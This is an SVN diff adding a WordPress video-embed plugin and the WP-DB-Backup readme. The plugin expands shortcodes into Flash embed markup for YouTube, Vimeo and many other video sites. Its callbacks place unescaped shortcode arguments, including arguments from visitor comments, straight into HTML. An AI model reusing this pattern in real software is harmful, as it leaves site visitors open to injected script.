+define("YAHOO_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://d.yimg.com/static.video.yahoo.com/yep/YV_YEP.swf?ver=2.2.30\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"AllowScriptAccess\" VALUE=\"always\" /><param name=\"bgcolor\" value=\"#000000\" /><param name=\"flashVars\" value=\"id=###URL###&embed=1\" /><embed src=\"http://d.yimg.com/static.video.yahoo.com/yep/YV_YEP.swf?ver=2.2.30\" type=\"application/x-shockwave-flash\" width=\"###WIDTH###\" height=\"###HEIGHT###\" allowFullScreen=\"true\" AllowScriptAccess=\"always\" bgcolor=\"#000000\" flashVars=\"id=###URL###&embed=1\" ></embed></object>");
+
+function yahoo_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = YAHOO_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", YAHOO_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", YAHOO_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", YAHOO_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", YAHOO_HEIGHT, $output);	
+	}
+	return ($output);
+}
+
+function yahoo_plugin($content)
+{
+        return (preg_replace_callback(YAHOO_REGEXP, 'yahoo_plugin_callback', $content));
+}
+
+add_filter('the_content', 'yahoo_plugin');
+add_filter('the_content_rss', 'yahoo_plugin');
+add_filter('comment_text', 'yahoo_plugin');
+        
+
+// MyspaceTV code
+
+define("MYSPACETV_WIDTH", 385);
+define("MYSPACETV_HEIGHT", 346);
+define("MYSPACETV_REGEXP", "/\[myspacetv ([[:print:]]+)\]/");
+define("MYSPACETV_TARGET", "<object width=\"".MYSPACETV_WIDTH."\" height=\"".MYSPACETV_HEIGHT."\"><param name=\"vmode\" value=\"transparent\"></param><embed src=\"http://lads.myspace.com/videos/vplayer.swf?m=###URL###&type=video\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"".MYSPACETV_WIDTH."\" height=\"".MYSPACETV_HEIGHT."\"></embed></object>");
+
+function myspacetv_plugin_callback($match)
+{
+        $output = MYSPACETV_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function myspacetv_plugin($content)
+{
+        return (preg_replace_callback(MYSPACETV_REGEXP, 'myspacetv_plugin_callback', $content));
+}
+
+add_filter('the_content', 'myspacetv_plugin');
+add_filter('the_content_rss', 'myspacetv_plugin');
+add_filter('comment_text', 'myspacetv_plugin');
+        
+
+// Veoh code
+
+define("VEOH_WIDTH", 410);
+define("VEOH_HEIGHT", 341);
+define("VEOH_REGEXP", "/\[veoh ([[:print:]]+)\]/");
+define("VEOH_TARGET", "<embed src=\"http://www.veoh.com/veohplayer.swf?permalinkId=###URL###&id=anonymous&player=videodetailsembedded&videoAutoPlay=0\" allowFullScreen=\"true\" width=\"".VEOH_WIDTH."\" height=\"".VEOH_HEIGHT."\" bgcolor=\"#FFFFFF\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"></embed>");
+
+function veoh_plugin_callback($match)
+{
+        $output = VEOH_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function veoh_plugin($content)
+{
+        return (preg_replace_callback(VEOH_REGEXP, 'veoh_plugin_callback', $content));
+}
+
+add_filter('the_content', 'veoh_plugin');
+add_filter('the_content_rss', 'veoh_plugin');
+add_filter('comment_text', 'veoh_plugin');
+
+// Wandeo Video Code
+
+define("WANDEO_WIDTH", 352);
+define("WANDEO_HEIGHT", 308);
+define("WANDEO_REGEXP", "/\[wandeo ([[:print:]]+)\]/");
+define("WANDEO_TARGET", "<object width=\"".WANDEO_WIDTH."\" height=\"".WANDEO_HEIGHT."\"><param name=\"vmode\" value=\"transparent\"></param><embed src=\"http://www.wandeo.com/v/###URL###\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"".WANDEO_WIDTH."\" height=\"".WANDEO_HEIGHT."\"></embed></object>");
+
+function wandeo_plugin_callback($match) {
+       $output = WANDEO_TARGET;
+       $output = str_replace("###URL###", $match[1], $output);
+       return ($output);
+}
+
+function wandeo_plugin($content) {
+      return preg_replace_callback(WANDEO_REGEXP, 'wandeo_plugin_callback', $content);
+}
+
+add_filter('the_content', 'wandeo_plugin');
+add_filter('the_content_rss', 'wandeo_plugin');
+add_filter('comment_text', 'wandeo_plugin');
+
+
+// glumbert code
+
+define("GLUMBERT_WIDTH", 448);
+define("GLUMBERT_HEIGHT", 336);
+define("GLUMBERT_REGEXP", "/\[glumbert ([[:print:]]+)\]/");
+define("GLUMBERT_TARGET", "<object width=\"".GLUMBERT_WIDTH."\" height=\"".GLUMBERT_HEIGHT."\"><param name=\"vmode\" value=\"transparent\"></param><embed src=\"http://www.glumbert.com/embed/###URL###\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"".GLUMBERT_WIDTH."\" height=\"".GLUMBERT_HEIGHT."\"></embed></object>");
+
+function glumbert_plugin_callback($match)
+{
+        $output = GLUMBERT_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function glumbert_plugin($content)
+{
+        return (preg_replace_callback(GLUMBERT_REGEXP,
+'glumbert_plugin_callback', $content));
+}
+
+add_filter('the_content', 'glumbert_plugin');
+add_filter('the_content_rss', 'glumbert_plugin');
+add_filter('comment_text', 'glumbert_plugin');
+
+// GameVideos Code
+
+define("GameVideos_WIDTH", 425);
+define("GameVideos_HEIGHT", 350);
+define("GameVideos_REGEXP", "/\[gamevideos ([[:print:]]+)\]/");
+define("GameVideos_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://www.gamevideos.com:80/swf/gamevideos11.swf?embedded=1&fullscreen=1&autoplay=0&src=http://www.gamevideos.com:80/video/videoListXML%3Fid%3D###URL###%26ordinal%3D1184588561564%26adPlay%3Dfalse\" quality=\"high\" play=\"true\" loop=\"true\" scale=\"showall\" wmode=\"window\" devicefont=\"false\" id=\"gamevideos6\" bgcolor=\"#FFFFFF\" name=\"gamevideos6\" menu=\"true\" allowscriptaccess=\"sameDomain\" allowFullScreen=\"true\" align=\"middle\" height=\"".GameVideos_HEIGHT."\" width=\"".GameVideos_WIDTH."\"/></object>");
+
+function gamevideos_plugin_callback($match) {
+	$output = GameVideos_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function gamevideos_plugin($content) {
+	return preg_replace_callback(GameVideos_REGEXP, 'gamevideos_plugin_callback', $content);
+}
+
+add_filter('the_content', 'gamevideos_plugin');
+add_filter('the_content_rss', 'gamevideos_plugin');
+add_filter('comment_text', 'gamevideos_plugin');
+
+
+// GameTrailers Code
+
+define("GameTrailers_WIDTH", 480);
+define("GameTrailers_HEIGHT", 409);
+define("GameTrailers_REGEXP", "/\[gametrailers ([[:print:]]+)\]/");
+define("GameTrailers_TARGET", "<object id=\"gtembed\" width=\"".GameTrailers_WIDTH."\" height=\"".GameTrailers_HEIGHT."\">
+<param name=\"movie\" value=\"http://www.gametrailers.com/remote_wrap.php?mid=###URL###\"/>
+<param name=\"quality\" value=\"high\" /> 
+<embed src=\"http://www.gametrailers.com/remote_wrap.php?mid=###URL###\" name=\"gtembed\" align=\"middle\" allowScriptAccess=\"sameDomain\" quality=\"high\"  type=\"application/x-shockwave-flash\" width=\"".GameTrailers_WIDTH."\" height=\"".GameTrailers_HEIGHT."\"></embed> </object>");
+
+
+function gametrailers_plugin_callback($match) {
+	$output = GameTrailers_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function gametrailers_plugin($content) {
+	return preg_replace_callback(GameTrailers_REGEXP, 'gametrailers_plugin_callback', $content);
+}
+
+add_filter('the_content', 'gametrailers_plugin');
+add_filter('the_content_rss', 'gametrailers_plugin');
+add_filter('comment_text', 'gametrailers_plugin');
+
+// IFILM Code
+
+define("IFILM_WIDTH", 448);
+define("IFILM_HEIGHT", 365);
+define("IFILM_REGEXP", "/\[ifilm ([[:print:]]+)\]/");
+define("IFILM_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://www.ifilm.com/efp?flvbaseclip=###URL###\" width=\"".IFILM_WIDTH."\" height=\"".IFILM_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://www.ifilm.com/efp?flvbaseclip=###URL###\" /></object>");
+
+function ifilm_plugin_callback($match) {
+	$output = IFILM_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function ifilm_plugin($content) {
+	return preg_replace_callback(IFILM_REGEXP, 'ifilm_plugin_callback', $content);
+}
+
+add_filter('the_content', 'ifilm_plugin');
+add_filter('the_content_rss', 'ifilm_plugin');
+add_filter('comment_text', 'ifilm_plugin');
+
+//LiveLeak Code
+
+define("LIVELEAK_WIDTH", 450);
+define("LIVELEAK_HEIGHT", 370);
+define("LIVELEAK_REGEXP", "/\[liveleak ([[:print:]]+)\]/");
+define("LIVELEAK_TARGET", "<object width=\"".LIVELEAK_WIDTH."\" height=\"".LIVELEAK_HEIGHT."\"><param name=\"movie\" value=\"http://www.liveleak.com/e/###URL###\"></param><param name=\"wmode\" value=\"transparent\"></param><embed src=\"http://www.liveleak.com/e/###URL###\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"".LIVELEAK_WIDTH."\" height=\"".LIVELEAK_HEIGHT."\"></embed></object>");
+
+
+function liveleak_plugin_callback($match)
+{
+   $output = LIVELEAK_TARGET;
+   $output = str_replace("###URL###", $match[1], $output);
+   return ($output);
+}
+
+function liveleak_plugin($content)
+{
+   return (preg_replace_callback(LIVELEAK_REGEXP, 'liveleak_plugin_callback', $content));
+}
+
+add_filter('the_content', 'liveleak_plugin');
+add_filter('the_content_rss', 'liveleak_plugin');
+add_filter('comment_text', 'liveleak_plugin'); 
+
+// Grouper Code
+
+define("GROUPER_WIDTH", 400);
+define("GROUPER_HEIGHT", 325);
+define("GROUPER_REGEXP", "/\[grouper ([[:print:]]+)\]/");
+define("GROUPER_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://grouper.com/mtg/mtgPlayer.swf?v=1.7ap=0&rf=-1&vfver=8&extid=-1&extsite=-1&id=###URL###\" width=\"".GROUPER_WIDTH."\" height=\"".GROUPER_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://grouper.com/mtg/mtgPlayer.swf?v=1.7ap=0&rf=-1&vfver=8&extid=-1&extsite=-1&id=###URL###\" /></object>");
+
+function grouper_plugin_callback($match)
+{
+	$output = GROUPER_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function grouper_plugin($content)
+{
+	return (preg_replace_callback(GROUPER_REGEXP, 'grouper_plugin_callback', $content));
+}
+
+add_filter('the_content', 'grouper_plugin');
+add_filter('the_content_rss', 'grouper_plugin');
+add_filter('comment_text', 'grouper_plugin');
+
+
+// UnCut Code
+
+define("UNCUT_WIDTH", 425);
+define("UNCUT_HEIGHT", 350);
+define("UNCUT_REGEXP", "/\[uncut ([[:print:]]+)\]/");
+define("UNCUT_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://uncutvideo.aol.com/en-US/uc_videoplayer.swf?aID=1###URL###\" width=\"".UNCUT_WIDTH."\" height=\"".UNCUT_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://uncutvideo.aol.com/en-US/uc_videoplayer.swf?aID=1###URL###\" /></object>");
+
+function uncut_plugin_callback($match)
+{
+	$output = UNCUT_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function uncut_plugin($content)
+{
+	return (preg_replace_callback(UNCUT_REGEXP, 'uncut_plugin_callback', $content));
+}
+
+add_filter('the_content', 'uncut_plugin');
+add_filter('the_content_rss', 'uncut_plugin');
+add_filter('comment_text', 'uncut_plugin');
+
+
+// Revver Code
+
+define("REVVER_WIDTH", 480);
+define("REVVER_HEIGHT", 392);
+define("REVVER_REGEXP", "/\[revver ([[:print:]]+)\]/");
+define("REVVER_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://flash.revver.com/player/1.0/player.swf?mediaId=###URL###\" width=\"".REVVER_WIDTH."\" height=\"".REVVER_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://flash.revver.com/player/1.0/player.swf?mediaId=###URL###\" /></object>");
+
+function revver_plugin_callback($match)
+{
+	$output = REVVER_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function revver_plugin($content)
+{
+	return (preg_replace_callback(REVVER_REGEXP, 'revver_plugin_callback', $content));
+}
+
+add_filter('the_content', 'revver_plugin');
+add_filter('the_content_rss', 'revver_plugin');
+add_filter('comment_text', 'revver_plugin');
+
+// blip.tv Code
+define("BLIPTV_WIDTH", 400);
+define("BLIPTV_HEIGHT", 294);
+define("BLIPTV_REGEXP", "/\[bliptv ([[:print:]]+)\]/");
+define("BLIPTV_TARGET", "<embed src=\"http://blip.tv/play/###URL###\" type=\"application/x-shockwave-flash\" width=\"".BLIPTV_WIDTH."\" height=\"".BLIPTV_HEIGHT."\" allowscriptaccess=\"always\" allowfullscreen=\"true\"></embed>");
+
+function bliptv_plugin_callback($match) {
+	$output = BLIPTV_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function bliptv_plugin($content) {
+	return preg_replace_callback(BLIPTV_REGEXP, 'bliptv_plugin_callback', $content);
+}
+
+add_filter('the_content', 'bliptv_plugin');
+add_filter('the_content_rss', 'bliptv_plugin');
+add_filter('comment_text', 'bliptv_plugin');
+
+
+// Videotube Code
+
+define("VIDEOTUBE_WIDTH", 480);
+define("VIDEOTUBE_HEIGHT", 400);
+define("VIDEOTUBE_REGEXP", "/\[videotube ([[:print:]]+)\]/");
+define("VIDEOTUBE_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://www.videotube.de/ci/flash/videotube_player_4.swf?videoId=###URL###&svsf=0&lang=german&host=www.videotube.de\" width=\"".VIDEOTUBE_WIDTH."\" height=\"".VIDEOTUBE_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://www.videotube.de/ci/flash/videotube_player_4.swf?videoId=###URL###&svsf=0&lang=german&host=www.videotube.de\" /></object>");
+
+function videotube_plugin_callback($match) {
+	$output = VIDEOTUBE_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function videotube_plugin($content) {
+	return preg_replace_callback(VIDEOTUBE_REGEXP, 'videotube_plugin_callback', $content);
+}
+
+add_filter('the_content', 'videotube_plugin');
+add_filter('the_content_rss', 'videotube_plugin');
+add_filter('comment_text', 'videotube_plugin');
+
+
+// Vimeo Code
+ 
+define("VIMEO_WIDTH", 400); // default width
+define("VIMEO_HEIGHT", 300); // default height
+define("VIMEO_REGEXP", "/\[vimeo ([[:print:]]+)\]/");
+define("VIMEO_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"allowfullscreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><param name=\"movie\" value=\"http://vimeo.com/moogaloop.swf?clip_id=###URL###&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1\" /><embed src=\"http://vimeo.com/moogaloop.swf?clip_id=###URL###&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowscriptaccess=\"always\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed></object><br />");
+
+function vimeo_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = VIMEO_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", VIMEO_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", VIMEO_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", VIMEO_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", VIMEO_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function vimeo_plugin($content)
+{
+	return (preg_replace_callback(VIMEO_REGEXP, 'vimeo_plugin_callback', $content));
+}
+
+add_filter('the_content', 'vimeo_plugin');
+add_filter('the_content_rss', 'vimeo_plugin');
+add_filter('comment_text', 'vimeo_plugin');
+
+
+// Metacafe Code
+define("METACAFE_WIDTH", 400);
+define("METACAFE_HEIGHT", 345);
+define("METACAFE_REGEXP", "/\[metacafe ([[:print:]]+)\]/");
+define("METACAFE_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://www.metacafe.com/fplayer/###URL###/.swf\" width=\"".METACAFE_WIDTH."\" height=\"".METACAFE_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://www.metacafe.com/fplayer/###URL###/.swf\" /></object>");
+
+function metacafe_plugin_callback($match) {
+	$output = METACAFE_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function metacafe_plugin($content) {
+	return preg_replace_callback(METACAFE_REGEXP, 'metacafe_plugin_callback', $content);
+}
+
+add_filter('the_content', 'metacafe_plugin');
+add_filter('the_content_rss', 'metacafe_plugin');
+add_filter('comment_text', 'metacafe_plugin');
+
+
+// Break.com Codes
+
+define("BREAK_WIDTH", 425);
+define("BREAK_HEIGHT", 350);
+define("BREAK_REGEXP", "/\[break ([[:print:]]+)\]/");
+define("BREAK_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://embed.break.com/###URL###\" width=\"".BREAK_WIDTH."\" height=\"".BREAK_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://embed.break.com/###URL###\" /></object>");
+
+function break_plugin_callback($match) {
+	$output = BREAK_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function break_plugin($content) {
+	return preg_replace_callback(BREAK_REGEXP, 'break_plugin_callback', $content);
+}
+
+add_filter('the_content', 'break_plugin');
+add_filter('the_content_rss', 'break_plugin');
+add_filter('comment_text', 'break_plugin');
+
+
+// MyVideo Code
+
+define("MYVIDEO_WIDTH", 470);
+define("MYVIDEO_HEIGHT", 406);
+define("MYVIDEO_REGEXP", "/\[myvideo ([[:print:]]+)\]/");
+define("MYVIDEO_TARGET", "<object style=\"width:###WIDTH###px;height:###HEIGHT###px;\" type=\"application/x-shockwave-flash\" data=\"http://www.myvideo.de/movie/###URL###\"> <param name=\"movie\" value=\"http://www.myvideo.de/movie/###URL###\" />	<param name=\"AllowFullscreen\" value=\"true\" /> </object>");
+
+function myvideo_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = MYVIDEO_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", MYVIDEO_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", MYVIDEO_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", MYVIDEO_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", MYVIDEO_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function myvideo_plugin($content)
+{
+	return (preg_replace_callback(MYVIDEO_REGEXP, 'myvideo_plugin_callback', $content));
+}
+
+add_filter('the_content', 'myvideo_plugin');
+add_filter('the_content_rss', 'myvideo_plugin');
+add_filter('comment_text', 'myvideo_plugin');
+
+// Dailymotion Code
+
+define("DAILYMOTION_WIDTH", 420);
+define("DAILYMOTION_HEIGHT", 336);
+define("DAILYMOTION_REGEXP", "/\[dailymotion[:\s]([[:print:]]+)\]/");
+define("DAILYMOTION_TARGET", "<object width=\"".DAILYMOTION_WIDTH."\" height=\"".DAILYMOTION_HEIGHT."\"><param name=\"movie\" value=\"http://www.dailymotion.com/swf/###URL###\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowScriptAccess\" value=\"always\"></param><embed src=\"http://www.dailymotion.com/swf/###URL###\" type=\"application/x-shockwave-flash\" width=\"".DAILYMOTION_WIDTH."\" height=\"".DAILYMOTION_HEIGHT."\" allowFullScreen=\"true\" allowScriptAccess=\"always\"></embed></object>");
+
+
+
+function dailymotion_plugin_callback($match) {
+	$output = DAILYMOTION_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function dailymotion_plugin($content) {
+	return preg_replace_callback(DAILYMOTION_REGEXP, 'dailymotion_plugin_callback', $content);
+}
+
+add_filter('the_content', 'dailymotion_plugin');
+add_filter('the_content_rss', 'dailymotion_plugin');
+add_filter('comment_text', 'dailymotion_plugin');
+
+
+// Sevenload Code
+
+define("SEVENLOAD_WIDTH", 380);
+define("SEVENLOAD_HEIGHT", 313);
+define("SEVENLOAD_REGEXP", "/\[sevenload ([[:print:]]+)\]/");
+define("SEVENLOAD_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://sevenload.de/pl/###URL###/380x313/swf\" width=\"".SEVENLOAD_WIDTH."\" height=\"".SEVENLOAD_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://sevenload.de/pl/###URL###/380x313/swf\" /></object>");
+
+function sevenload_plugin_callback($match) {
+	$output = SEVENLOAD_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function sevenload_plugin($content) {
+	return preg_replace_callback(SEVENLOAD_REGEXP, 'sevenload_plugin_callback', $content);
+}
+
+add_filter('the_content', 'sevenload_plugin');
+add_filter('the_content_rss', 'sevenload_plugin');
+add_filter('comment_text', 'sevenload_plugin');
+
+// Clipfish Code
+
+define("CLIPFISH_WIDTH", 464);
+define("CLIPFISH_HEIGHT", 380);
+define("CLIPFISH_REGEXP", "/\[clipfish ([[:print:]]+)\]/");
+define("CLIPFISH_TARGET", "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\" width=\"###WIDTH###\" height=\"###HEIGHT###\" id=\"player\" align=\"middle\"><param name=\"allowScriptAccess\" value=\"always\" /><param name=\"movie\" value=\"http://www.clipfish.de/videoplayer.swf?as=0&vid=###URL####&r=0\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#FF0000\" /><param name=\"allowFullScreen\" value=\"true\" /><embed src=\"http://www.clipfish.de/videoplayer.swf?as=0&vid=###URL####&r=0\" quality=\"high\" bgcolor=\"#FF0000\" width=\"###WIDTH###\" height=\"###HEIGHT###\" name=\"player\" align=\"middle\" allowFullScreen=\"true\" allowScriptAccess=\"always\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"></embed></object>");
+
+function clipfish_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = CLIPFISH_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", CLIPFISH_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", CLIPFISH_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", CLIPFISH_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", CLIPFISH_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function clipfish_plugin($content)
+{
+	return (preg_replace_callback(CLIPFISH_REGEXP, 'clipfish_plugin_callback', $content));
+}
+
+add_filter('the_content', 'clipfish_plugin');
+add_filter('the_content_rss', 'clipfish_plugin');
+add_filter('comment_text', 'clipfish_plugin');
+
+
+// GoogleVideo Code
+
+define("GOOGLE_WIDTH", 425);
+define("GOOGLE_HEIGHT", 350);
+define("GOOGLE_REGEXP", "/\[google ([[:print:]]+)\]/");
+define("GOOGLE_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://video.google.com/googleplayer.swf?docId=###URL###\" width=\"".GOOGLE_WIDTH."\" height=\"".GOOGLE_HEIGHT."\" wmode=\"transparent\"><param name=\"movie\" value=\"http://video.google.com/googleplayer.swf?docId=###URL###\" /></object>");
+
+function google_plugin_callback($match) {
+	$output = GOOGLE_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function google_plugin($content) {
+	return preg_replace_callback(GOOGLE_REGEXP, 'google_plugin_callback', $content);
+}
+
+add_filter('the_content', 'google_plugin');
+add_filter('the_content_rss', 'google_plugin');
+add_filter('comment_text', 'google_plugin');
+
+
+
+// Youtube Code
+
+define("YOUTUBE_WIDTH", 425); // default width
+define("YOUTUBE_HEIGHT", 344); // default height
+define("YOUTUBE_REGEXP", "/\[youtube ([[:print:]]+)\]/");
+define("YOUTUBE_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://www.youtube.com/v/###URL###&fs=1\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><embed src=\"http://www.youtube.com/v/###URL###&fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed></object>");
+
+function youtube_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = YOUTUBE_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", YOUTUBE_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", YOUTUBE_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", YOUTUBE_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", YOUTUBE_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function youtube_plugin($content)
+{
+	return (preg_replace_callback(YOUTUBE_REGEXP, 'youtube_plugin_callback', $content));
+}
+
+add_filter('the_content', 'youtube_plugin',1);
+add_filter('the_content_rss', 'youtube_plugin');
+add_filter('comment_text', 'youtube_plugin');
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/readme.txt	(revision 44)
@@ -0,0 +1,115 @@
+=== WP-DB-Backup ===
+Contributors: filosofo, skippy, Firas, LaughingLizard, MtDewVirus, Podz, Ringmaster
+Donate link: http://www.ilfilosofo.com/blog/wp-db-backup/
+Tags: mysql, database, backup, cron
+Requires at least: 2.0.3
+Tested up to: 2.7
+Stable tag: 2.2.2
+
+On-demand backup of your WordPress database.
+
+== Description ==
+
+WP-DB-Backup allows you easily to backup your core WordPress database tables.  You may also backup other tables in the same database.
+
+Released under the terms of the GNU GPL, version 2.
+   http://www.fsf.org/licensing/licenses/gpl.html
+
+              NO WARRANTY.
+
+	Copyright (c) 2008 Austin Matzko
+
+== Installation ==
+1. Copy the wp-db-backup.php file to /wp-content/plugins/
+1. Activate the plugin at your blog's Admin -> Plugins screen
+1. The plugin will attempt to create a directory /wp-content/backup-*/ inside your WordPress directory.
+1. You may need to make /wp-content writable (at least temporarily) for it to create this directory. 
+   For example:
+   `$ cd /wordpress/`
+   `$ chgrp www-data wp-content` (where "`www-data`" is the group your FTP client uses)
+   `$ chmod g+w wp-content`
+
+== Frequently Asked Questions ==
+
+= How do I restore my database from a backup? =
+
+Briefly, use phpMyAdmin, which is included with most hosting control panels. More details and links to further explanations are [here](http://codex.wordpress.org/Restoring_Your_Database_From_Backup).
+
+= My backup stops or hangs without completing. =
+
+If you edit the text of wp-db-backup.php in a text editor like Notepad, youâll see around line 50 the following:
+
+`/**
+* Set MOD_EVASIVE_OVERRIDE to true
+* and increase MOD_EVASIVE_DELAY
+* if the backup stops prematurely.
+*/
+// define('MOD_EVASIVE_OVERRIDE', false);
+define('MOD_EVASIVE_DELAY', '500');`
+
+Do what it says: un-comment MOD_EVASIVE_OVERRIDE and set it to true like so:
+
+`define('MOD_EVASIVE_OVERRIDE', true);`
+
+That will slow down the plugin, and you can slow it even further by increasing the MOD_EVASIVE_DELAY number from 500.
+
+Better yet, put the lines that define the `MOD_EVASIVE_OVERRIDE` and `MOD_EVASIVE_DELAY` constants in your wp-config.php file, so your settings don't get erased when you upgrade the plugin.
+
